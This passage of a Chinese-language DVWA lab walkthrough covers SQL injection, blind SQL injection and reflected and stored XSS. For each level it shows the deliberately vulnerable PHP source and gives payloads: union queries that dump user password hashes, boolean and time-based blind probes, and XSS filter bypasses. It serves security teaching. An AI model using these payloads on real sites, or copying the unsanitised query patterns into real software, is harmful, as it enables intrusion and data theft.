$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);

// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new password match and was the current password correct?
if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
// Update the database
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the end user - success!
echo "<pre>Password Changed.</pre>";
}
else {
// Feedback for the end user - failed!
echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
$hide_form = false;
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码增加了Anti-CSRF token机制防御CSRF攻击,同时PDO技术防护sql注入,验证过程终于不再分成两个部分,验证码无法绕过,同时要求用户输入之前的密码,进一步加强身份认证。

SQL Injection

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被暴露,尽管如此,sql注入仍是现在最常见的web漏洞之一。

手工注入思路

自动化的注入神器sqlmap,工具虽然好用,但是还是要掌握一些手工注入的思路。

手工注入(非盲注)的步骤

  • 判断是否存在注入,注入是字符型还是数字型
  • 猜解sql查询语句中的字段数
  • 确定显示的字符顺序
  • 获取当前数据库
  • 获取数据库中的表
  • 获取表中的字段名
  • 下载数据

Low

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

可以看到,Low级别的代码对于客户端的参数id没有进行任何的检查和过滤,存在明显的sql注入。

漏洞利用

现实攻击场景下,攻击者是无法看到后端代码的,所以下面的手工注入步骤是建立在无法查看源码的基础上进行的。

1.判断是否存在注入点,注入是字符型还是数字型

输入1,查询成功

输入1‘,查询失败,爆出报错信息:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

根据报错信息在1’添加注释符号#,即输入1‘#,查询成功

输入1‘ or 1=1#,查询成功,并返回多个结果,说明存在字符型注入

2.猜解sql查询语句中的字段数

输入1’ order by 1#

1‘ order by 2#    .......

直到3发现报错

说明执行的sql查询语句中只有两个字段,即这里的First name、Surname

3.确定显示字段的顺序

输入 -1’ union select 1,2#

说明执行的sql语句为select First name,Surname from 表 where ID=’id’….

4.获取当前数据库

输入 -1’ union select 1,database()#

得到数据库名

5.获取数据库中的表

输入-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’dvwa’#

获得表名guestbook users

6.从users表中获取字段名

1
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

获得字段名:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

7.下载数据

输入:-1‘ union select group_concat(user_id,first_name,last_name),group_concat(password) from users#

这样就得到了users表中所有用户的user_id,first_name,last_name,password的数据。

Medium

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

可以看到,Medium级别的代码利用mysql_real_escape_string函数岁特殊符号\x00,\n,\r,\,',",\x1a进行转义,同时前端页面设置了下拉选择表单,希望可以通过这样来控制用户输入。

漏洞利用

虽然前段使用下拉选择菜单,但是依然可以通过抓包修改参数,提交恶意构造的查询参数。

1.判断是否存在注入,注入是字符型还是数字型

抓包更改参数id为1‘ or 1=1#

发现报错信息

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' or 1=1#' at line 1

于是更改为1 or 1=1#后查询成功,说明存在数字型注入,由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。

2.猜解sql查询语句中的字段数

将id改为1 order by 1# 1 order by 2# 1 order by 3#(报错)

说明执行的sql查询语句中只有两个字段,即这里的First name、Surname。

3.确定显示字段的顺序

id=1 union select 1,2#

说明执行的SQL语句为select First name,Surname from 表 where ID=id…

4.获取当前数据库

id=-1 union select 1,database()#

获得数据库名dvwa

5.获取数据库中的表名

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

说明数据库dvwa中一共有两个表,guestbook与users。

6.获取users表中的字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’#

查询失败,因为单引号被转义了,使用十六进制进行查询

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7.下载数据

-1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

得到了users表中所有用户的user_id,first_name,last_name,password的数据。

High

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,与Medium级别代码相比,High级别只是在sql查询语句中添加了LIMIT 1,以此控制输出结果。

漏洞利用

虽然添加了limit 1,但是可以通过#将其注释掉。注入过程和前面的基本一样。

需要提到的是,High级别中的查询提交界面和查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

Impossible

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到Impossible级别的代码采用PDO技术,划清了代码与数据的界限,有效防御sql注入,同时只返回查询结果数量为1时,才会成功输出,这样就有效预防了暴露数据库,Anti-CSRFtoken机制的加入了进一步提高了安全性。

SQL Injection(Blind)

SQL Injection(Blind),即sql盲注,与一般注入的区别在于,一般的攻击者可以直接在页面上看到注入语句的执行结果吗,而盲注时攻击者通常是无法从显示的页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高,目前网络上现存的sql注入漏洞大多是sql盲注。

手工盲注的主要思路

手工盲注的过程大多是你询问服务器一个问题,服务器回答是或者不是,通过这种机械的询问,最终获得你想要的数据。

盲注分为基于布尔盲注、基于时间的盲注以及基于报错的盲注,接下来主要演示基于布尔的盲注和基于时间的盲注。

手工盲注的步骤

  • 判断是否存在注入,注入是字符型还是数字型
  • 猜解当前数据库名
  • 猜解数据库中的表名
  • 猜解表中的字段名
  • 猜解数据

Low

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

从源码中可以看到Low级别的代码对参数id没有任何检查、过滤,存在明显的sql注入漏洞,同时sql语句查询返回只有两种结果。

1
User ID exists in the database.

1
User ID is MISSING from the database.

因此是sql盲注漏洞。

漏洞利用

首先演示基于布尔的盲注

1.判断是否存在注入,注入的字符型还是数字型

id=1,显示相应用户存在:

输入1’ or 1=1#显示存在

说明存在字符型的sql盲注

2.猜解当前数据库名

想要猜解数据库名,先要猜解数据名的长度,然后逐个猜解字符

1
2
3
4
id=1' and length(database())=1 #,显示不存在
id=1' and length(database())=2 #,显示不存在
id=1' and length(database())=3 #,显示不存在
id=1' and length(database())=4 #,显示存在

得到数据库名长度为4

采用二分法猜解数据库名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
id=1' and ascii(substr(database(),1,1))>97#
//显示存在,说明数据库名的第一个字符的ascii值大于97(即a)
id=1' and ascii(substr(database(),1,1))<122#
//显示存在,说明数据库名的第一个字符的ascii值小于122(即z)
id=1’ and ascii(substr(database(),1,1))<109#
//显示存在,说明数据库名的第二个字符的ascii值小于109(即m)
id=1' and ascii(substr(database(),1,1))<103#
//显示存在,说明数据库名的第一个字符的ascii值小于103(即g)
id=1' and ascii(substr(database(),1,1))<100#
//显示不存在,说明数据库的第一个字符的ascii值不小于100(即d)
id=1' and ascii(substr(database(),1,1))>100#
//显示不存在,说明数据库的第一个字符的ascii值不大于100(即d),所以数据库名的第一个字符的ascii值为100,即小写字母d

id=1’ and ascii(substr(database(),2,1))>97#
//显示存在,说明数据库名的第二个字符的ascii值大于97(即a)
......

重复上述步骤,就可猜解出完整的数据库名(dvwa)

3.猜解数据库名的表名

1
2
id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# //显示不存在
id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# //显示存在

说明数据库中共有两个表,接着猜解每个表的表名:

1
2
3
4
5
6
7
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1# //显示不存在
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2# //显示不存在
...
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# //显示存在,说明第一个表名长度为g

id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1# //显示不存在
......

重复上述步骤,即可猜解出两个表名(guestbook、users)。

4.猜测表中的字段名

首先猜解表中字段的数量

1
2
3
id=1' and (select count(column_name) from information_schema.columns where table_name='users')=1#  //显示不存在
...
id=1' and (select count(column_name) from information_schema.columns where table_name='users')=8# //显示存在

说明users表有8个字段,接着挨个猜解字段名:

1
2
3
4
5
6
id=1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1#  //显示不存在
...
id=1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7# //显示存在,说明users表的第一个字段为7个字符长度

id=1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1))=1# //显示不存在
......

重复上述步骤,猜解所有字段名的长度

采用二分法,即可猜解出所有字段名。

1
2
3
4
5
6
7
id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>97# //显示不存在
...
id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>97#
...

id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1))>97#
.......

5.猜解数据

同样采用二分法

1
2
id=1' and ord(mid((select ifnull(cast(first_name as char),0x20) from dvwa.users order by user_id limit 0,1),1,1))>97# //查看first_name列中第一行的第一个字符ascii是否大于97
......

基于时间的盲注

1.判断是否存在注入,注入是字符型还是数字型

1
2
id=1' and sleep(5)#  //明显延迟
id=1 and sleep(5)# //没有延迟

说明存在字符型的基于时间的盲注

2.猜解当前数据库名

首先猜解数据名的长度

1
2
3
4
id=1' and if(length(database())=1,sleep(5),1)# 没有延迟
id=1' and if(length(database())=2,sleep(5),1)# 没有延迟
id=1' and if(length(database())=3,sleep(5),1)# 没有延迟
id=1' and if(length(database())=4,sleep(5),1)# 明显延迟

说明数据库名长度为4个字符。接着使用二分法猜解数据库名:

1
2
3
4
5
6
id=1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
...
id=1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
id=1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d
...

重复上述步骤,即可猜解出数据库名

3.猜解数据库中的表名

首先猜解数据库中表的数量

1
2
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)# 没有延迟
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)# 明显延迟

说明数据库中有两个表,然后猜解表名

1
2
3
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1)# 没有延迟
...
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1)# 明显延迟

说明第一个表的长度为9个字符

采用二分法即可猜解出表名。

4.猜解表中的字段名

首先猜解表中字段的数量

1
2
3
4
5
id=1' and if((select count(column_name) from information_schema.columns where table_name='users')=1,sleep(5),1)# 
//没有延迟
...
id=1' and if((select count(column_name) from information_schema.columns where table_name='users')=8,sleep(5),1)#
//明显延迟

说明users表中有8个字段,接着猜解字段名:

1
2
id=1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(5),1)# 没有延迟
id=1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(5),1)# 明显延迟

说明users表的第一个字段长度为7个字符,采用二分法即可猜解出各个字段名。

5.猜解数据

同样采用二分法

Medium

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

//mysql_close();
}

?>

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,',",\x1a进行转义,同时前端页面设置下拉选项,一次控制用户的输入。

漏洞利用

虽然前端使用了下拉选择菜单,可以通过抓包修改参数id,提交恶意构造的查询参数。这边简要演示一下,其余的参考上面的。

基于布尔的盲注

1
2
3
抓包改参数id=1 and length(database())=4#,明显存在,说明数据库名的长度为4个字符
抓包改参数id=1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# 显示存在,说明数据中的第一个表名长度为9个字符
抓包改参数id=1 and (select count column_name) from information_schema.columns where table_name=0×7573657273)=8# 明显存在,说明users表中有8个字段

基于时间的盲注

1
2
3
抓包改参数id=1 and if(length(database())=4,sleep(5),1)# 明显延迟,说明数据库名的长度为4个字符
抓包改参数id=1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1)# 明显延迟,说明数据中的第一个表名长度为9个字符
抓包改参数id=1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273)=8,sleep(5),1)# 明显延迟,说明users表有8个字段

High

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间盲注,同时在sql查询语句中添加了limit 1,以此控制只输出一个结果。

漏洞利用

虽然添加了limit 1,但是可通过#将其注释掉,但是由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,此处只演示基于布尔的盲注

1
2
3
抓包将cookie中参数id改为1' and length(database())=4# 显示存在,说明数据库名的长度为4个字符
抓包将cookie中参数id改为1' and length(substr((select table_name from information_schema.tables where tabke_schema=database() limit 0,1),1))=9# 显示存在,说明数据库中的第一个表名长度为9个字符
抓包将cookie中参数id改为1' and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8# 显示存在,说明users表有8个字段

Impossible

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

XSS

XSS,全程Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,xss部基金限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型XSS。

DOM型XSS由于其特殊性,常常被分为第三种,其是一种基于DOM树的XSS。例如服务器端经常使用document.body.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型xss可能是存储型也可能是反射型

XSS(Reflect)反射型XSS

Low

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

在源码中,代码是直接引用name参数,并没有任何的过滤和检查,存在明显的XSS漏洞。

漏洞利用

1
键入:<script>alert(/xss/)</script>     //成功弹框

相应的XSS链接:http://172.18.9.91/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#

Medium

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

在该级别中,对输入的参数进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的<script>删除,这种防护机制绕过较为容易,进行双写就行。

漏洞利用

1.双写绕过

1
输入:<scr<script>ipt>alert(/xss/)</script>  //成功弹框

相应的XSS链接:http://172.18.9.91/DVWA-master/vulnerabilities/xss_r/?name=%3Cscr%3Cscript%3Eipt%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#

2.大小写混淆绕过

1
输入:<ScRipt>alert(/xss/)</script>   //成功弹框

相应的XSS链接:http://172.18.9.91/DVWA-master/vulnerabilities/xss_r/?name=%3CScRipt%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E#

High

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

可以看到,high级别的代码同样使用黑名单过滤输入,preg_replace()函数用于正则表达式的搜索和替换,这就使双写和大小写混淆的方式不再有效。

漏洞利用

虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。

1
输入:<img src=1 onerror=alert(/xss/)> 成功弹框

相应的XSS的链接:http://172.18.9.91/DVWA-master/vulnerabilities/xss_r/?name=%3Cimg+src%3D1+onerror%3Dalert%28%2Fxss%2F%29%3E#

Impossible

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符&"'<>转换为HTML实体,防止浏览器将其作为HTML元素。

XSS(Stored)存储型XSS

Low

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

相关函数

trim(string,charlist)

函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括\t\n\x0B\r以及空格,可选参数charlist支持添加额外需要删除的字符。

mysql_real_escape_string(string,connection)

函数会对字符串中的特殊符号\x00,\n,\r,\,',",\x1a进行转义。

stripslashes(string)

函数删除字符串中的反斜杠。

可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此此处存在明显的存储型XSS漏洞

漏洞利用

message一栏输入

1
<script>alert(/xss/)</script>  //成功弹框

name一栏前端有字数的限制,抓包改为

1
<script>alert(/name/)</script>

成功弹框

由于页面是在前端进行限制name字数,所以可以在前端将name输入框的限制进行改变,就可以进行输入了

成功弹框

Medium

服务器端源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

相关函数

strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但是允许使用<b>标签

addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。

可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法通过message参数注入XSS代码,但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。

漏洞利用

1.双写绕过

抓包改name参数或者前端更改name输入框长度限制后输入

1
<sc<script>ript>alert(/xss/)</script>

成功弹框

2.大小写混淆绕过

抓包改name参数或者更改name输入框长度限制后输入:

1
<Script>alert(/xss/)</script>

High

服务器端源码

1
2
3
4
5
6
7
